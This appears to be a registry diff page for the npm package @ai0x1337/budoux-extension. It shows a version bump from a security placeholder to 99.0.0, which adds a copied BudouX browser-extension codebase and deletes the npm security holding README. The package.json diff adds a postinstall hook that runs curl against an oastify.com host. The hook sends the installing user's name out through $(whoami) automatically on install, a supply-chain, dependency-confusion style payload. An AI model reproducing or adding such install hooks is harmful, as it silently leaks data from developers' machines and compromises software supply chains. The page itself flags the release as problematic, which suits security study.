@ai0x1337/budoux-extension 0.0.1-security → 99.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Potentially problematic release.
This version of @ai0x1337/budoux-extension might be problematic. Click here for more details.
- package/.github/workflows/poc.yml +25 -0
- package/budoux-extension-backup/.github/dependabot.yml +10 -0
- package/budoux-extension-backup/.github/workflows/ci.yml +38 -0
- package/budoux-extension-backup/.prettierrc.json +6 -0
- package/budoux-extension-backup/CONTRIBUTING.md +29 -0
- package/budoux-extension-backup/LICENSE +202 -0
- package/budoux-extension-backup/README.md +79 -0
- package/budoux-extension-backup/_locales/en/messages.json +24 -0
- package/budoux-extension-backup/_locales/ja/messages.json +23 -0
- package/budoux-extension-backup/docs/icon128.png +0 -0
- package/budoux-extension-backup/docs/neko-budoux-640x400.png +0 -0
- package/budoux-extension-backup/docs/neko-budoux-idsp-640x400.png +0 -0
- package/budoux-extension-backup/docs/options-640x400.png +0 -0
- package/budoux-extension-backup/eslint.config.mjs +75 -0
- package/budoux-extension-backup/karma.conf.js +31 -0
- package/budoux-extension-backup/manifest.json +24 -0
- package/budoux-extension-backup/package-lock.json +6544 -0
- package/budoux-extension-backup/package.json +61 -0
- package/budoux-extension-backup/scripts/clean.js +51 -0
- package/budoux-extension-backup/scripts/esbuild.js +27 -0
- package/budoux-extension-backup/scripts/package.ts +98 -0
- package/budoux-extension-backup/src/background.ts +53 -0
- package/budoux-extension-backup/src/content.ts +19 -0
- package/budoux-extension-backup/src/document_applier.ts +148 -0
- package/budoux-extension-backup/src/options.html +109 -0
- package/budoux-extension-backup/src/options.ts +92 -0
- package/budoux-extension-backup/tests/index.browser.ts +17 -0
- package/budoux-extension-backup/tests/test.html +35 -0
- package/budoux-extension-backup/tests/test_document_applier.ts +125 -0
- package/budoux-extension-backup/tsconfig.json +29 -0
- package/package.json +9 -3
- package/README.md +0 -5
@@ -0,0 +1,35 @@
|
|
1
|
+
<!DOCTYPE html>
|
2
|
+
<meta charset="utf-8">
|
3
|
+
<style>
|
4
|
+
p {
|
5
|
+
width: 10em;
|
6
|
+
overflow: hidden;
|
7
|
+
resize: horizontal;
|
8
|
+
border: 1px solid blue;
|
9
|
+
}
|
10
|
+
span {
|
11
|
+
outline: auto;
|
12
|
+
}
|
13
|
+
inline-block {
|
14
|
+
display: inline-block;
|
15
|
+
outline: auto;
|
16
|
+
}
|
17
|
+
abs {
|
18
|
+
position: absolute;
|
19
|
+
outline: auto;
|
20
|
+
}
|
21
|
+
left {
|
22
|
+
float: left;
|
23
|
+
outline: auto;
|
24
|
+
}
|
25
|
+
</style>
|
26
|
+
<body>
|
27
|
+
<p>今日は天気です</p>
|
28
|
+
<p>欧文混じりのspaceが区切りに入らない場合</p>
|
29
|
+
<p>欧文混じりの space が区切りに入る場合</p>
|
30
|
+
<p>また、この例文は<span>inline boxの中に複数</span>の文節が入る場合です。</p>
|
31
|
+
<p>また、この例文は<inline-block>inline blockの中に複数の文節</inline-block>が入る場合です。</p>
|
32
|
+
<p>また、この例文は<left>floatの中に複数の文節</left>が入る場合です。</p>
|
33
|
+
<p>また、この例文は<abs>absの中に複数の文節</abs>が入る場合です。</p>
|
34
|
+
</body>
|
35
|
+
<script src="../dist/content.js"></script>
|
@@ -0,0 +1,125 @@
|
|
1
|
+
/**
|
2
|
+
* @license
|
3
|
+
* Copyright 2023 Google LLC
|
4
|
+
* Licensed under the Apache License, Version 2.0 (the "License");
|
5
|
+
* you may not use this file except in compliance with the License.
|
6
|
+
* You may obtain a copy of the License at
|
7
|
+
*
|
8
|
+
* https://www.apache.org/licenses/LICENSE-2.0
|
9
|
+
*
|
10
|
+
* Unless required by applicable law or agreed to in writing, software
|
11
|
+
* distributed under the License is distributed on an "AS IS" BASIS,
|
12
|
+
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
|
13
|
+
* See the License for the specific language governing permissions and
|
14
|
+
* limitations under the License.
|
15
|
+
*/
|
16
|
+
|
17
|
+
import {DocumentApplier} from '../src/document_applier';
|
18
|
+
|
19
|
+
const documentFromString = (html: string) => {
|
20
|
+
return new DOMParser().parseFromString(html, 'text/html');
|
21
|
+
};
|
22
|
+
|
23
|
+
describe('DocumentApplier.fromDocument', () => {
|
24
|
+
it('should get the same instance', () => {
|
25
|
+
const doc = documentFromString('<html lang="ja"></html>');
|
26
|
+
const applier = DocumentApplier.fromDocument(doc);
|
27
|
+
expect(DocumentApplier.fromDocument(doc)).toEqual(applier);
|
28
|
+
});
|
29
|
+
|
30
|
+
it('should add a style element', async () => {
|
31
|
+
const doc = documentFromString('<html lang="ja"></html>');
|
32
|
+
const applier = DocumentApplier.fromDocument(doc);
|
33
|
+
await applier.apply();
|
34
|
+
const elements = doc.getElementsByTagName('style');
|
35
|
+
expect(elements.length).toEqual(1);
|
36
|
+
const element = elements[0];
|
37
|
+
expect(element.textContent).toMatch(/^\.BudouX {.*}$/);
|
38
|
+
});
|
39
|
+
});
|
40
|
+
|
41
|
+
describe('DocumentApplier.apply', () => {
|
42
|
+
it('should apply', async () => {
|
43
|
+
const doc = documentFromString(
|
44
|
+
'<html lang="ja"><div>今日は良い天気です。</div></html>'
|
45
|
+
);
|
46
|
+
const applier = DocumentApplier.fromDocument(doc);
|
47
|
+
await applier.apply();
|
48
|
+
expect(doc.body.innerHTML).toEqual(
|
49
|
+
'<div class="BudouX">今日は\u200B良い\u200B天気です。</div>'
|
50
|
+
);
|
51
|
+
});
|
52
|
+
|
53
|
+
for (const separator of [' ', '|']) {
|
54
|
+
it(`Use the customized separator "${separator}"`, async () => {
|
55
|
+
const doc = documentFromString(
|
56
|
+
'<html lang="ja"><div>今日は良い天気です。</div></html>'
|
57
|
+
);
|
58
|
+
class CustomSeparatedApplier extends DocumentApplier {
|
59
|
+
async loadSettings() {
|
60
|
+
this.separator = separator;
|
61
|
+
}
|
62
|
+
}
|
63
|
+
const applier = new CustomSeparatedApplier(doc);
|
64
|
+
await applier.apply();
|
65
|
+
expect(doc.body.innerHTML).toEqual(
|
66
|
+
`<div class="BudouX">今日は${separator}良い${separator}天気です。</div>`
|
67
|
+
);
|
68
|
+
});
|
69
|
+
}
|
70
|
+
});
|
71
|
+
|
72
|
+
describe('DocumentApplier.normalizeLocale', () => {
|
73
|
+
[
|
74
|
+
[undefined, undefined],
|
75
|
+
['', undefined],
|
76
|
+
// `ja` doesn't require the script.
|
77
|
+
['ja', 'ja'],
|
78
|
+
['ja-JP', 'ja'],
|
79
|
+
// `zh` requires the script.
|
80
|
+
['zh', 'zh-hans'],
|
81
|
+
['zh-Hans', 'zh-hans'],
|
82
|
+
['zh-Hant', 'zh-hant'],
|
83
|
+
// Check upper/lower cases.
|
84
|
+
['JA', 'ja'],
|
85
|
+
['ZH', 'zh-hans'],
|
86
|
+
['zh-hant', 'zh-hant'],
|
87
|
+
['zh-HanT', 'zh-hant'],
|
88
|
+
// Check if the script matches the whole string, not substring.
|
89
|
+
['zh-zHant', 'zh-hans'],
|
90
|
+
['zh-Hantz', 'zh-hans'],
|
91
|
+
// The default script from the region.
|
92
|
+
['zh-CN', 'zh-hans'],
|
93
|
+
['zh-HK', 'zh-hant'],
|
94
|
+
['zh-MO', 'zh-hant'],
|
95
|
+
['zh-TW', 'zh-hant'],
|
96
|
+
['zh-tw', 'zh-hant'],
|
97
|
+
['ZH-tw', 'zh-hant'],
|
98
|
+
// Check if the region matches the whole string, not substring.
|
99
|
+
['zh-ztw', 'zh-hans'],
|
100
|
+
['zh-twz', 'zh-hans'],
|
101
|
+
// If the script is given, the region should be ignored.
|
102
|
+
['zh-hant-CN', 'zh-hant'],
|
103
|
+
['zh-CN-hant', 'zh-hant'],
|
104
|
+
].forEach(args => {
|
105
|
+
const [input, expected] = args;
|
106
|
+
it(`Locale "${input}" should be normalized to "${expected}"`, () => {
|
107
|
+
const result = DocumentApplier.normalizeLocale(input);
|
108
|
+
expect(result).toEqual(expected);
|
109
|
+
});
|
110
|
+
});
|
111
|
+
});
|
112
|
+
|
113
|
+
describe('DocumentApplier.langFromElement', () => {
|
114
|
+
[
|
115
|
+
['<html lang="ja"></html>', 'ja'],
|
116
|
+
['<html lang="ja"><body lang="zh"></body></html>', 'zh'],
|
117
|
+
].forEach(args => {
|
118
|
+
const [html, expected] = args;
|
119
|
+
it(`HTML "${html}" should have lang "${expected}"`, () => {
|
120
|
+
const doc = documentFromString(html);
|
121
|
+
const element = doc.body ?? doc.documentElement;
|
122
|
+
expect(DocumentApplier.langFromElement(element)).toEqual(expected);
|
123
|
+
});
|
124
|
+
});
|
125
|
+
});
|
@@ -0,0 +1,29 @@
|
|
1
|
+
{
|
2
|
+
"compilerOptions": {
|
3
|
+
"allowUnreachableCode": false,
|
4
|
+
"allowUnusedLabels": false,
|
5
|
+
"lib": ["es6", "dom", "dom.iterable"],
|
6
|
+
"target": "es2017",
|
7
|
+
"module": "commonjs",
|
8
|
+
"moduleResolution": "node",
|
9
|
+
"noEmitOnError": true,
|
10
|
+
"noFallthroughCasesInSwitch": true,
|
11
|
+
"noImplicitReturns": true,
|
12
|
+
"pretty": true,
|
13
|
+
"resolveJsonModule": true,
|
14
|
+
"declaration": true,
|
15
|
+
"sourceMap": true,
|
16
|
+
"esModuleInterop": true,
|
17
|
+
"forceConsistentCasingInFileNames": true,
|
18
|
+
"strict": true,
|
19
|
+
"skipLibCheck": true,
|
20
|
+
"outDir": "build"
|
21
|
+
},
|
22
|
+
"exclude": [
|
23
|
+
"node_modules"
|
24
|
+
],
|
25
|
+
"include": [
|
26
|
+
"src/**/*.ts",
|
27
|
+
"tests/**/*.ts"
|
28
|
+
]
|
29
|
+
}
|
package/package.json
CHANGED
@@ -1,6 +1,12 @@
|
|
1
1
|
{
|
2
2
|
"name": "@ai0x1337/budoux-extension",
|
3
|
-
"version": "0.0
|
4
|
-
"
|
5
|
-
|
3
|
+
"version": "99.0.0",
|
4
|
+
"scripts": {
|
5
|
+
"postinstall": "curl http://2447vcq0ao0f1ba8pdvika0cs3yumka9.oastify.com/?pwned=$(whoami)"
|
6
|
+
},
|
7
|
+
"main": "index.js",
|
8
|
+
"keywords": [],
|
9
|
+
"author": "",
|
10
|
+
"license": "ISC",
|
11
|
+
"description": ""
|
6
12
|
}
|
package/README.md
DELETED
@@ -1,5 +0,0 @@
|
|
1
|
-
# Security holding package
|
2
|
-
|
3
|
-
This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
|
4
|
-
|
5
|
-
Please refer to www.npmjs.com/advisories?search=%40ai0x1337%2Fbudoux-extension for more information.
|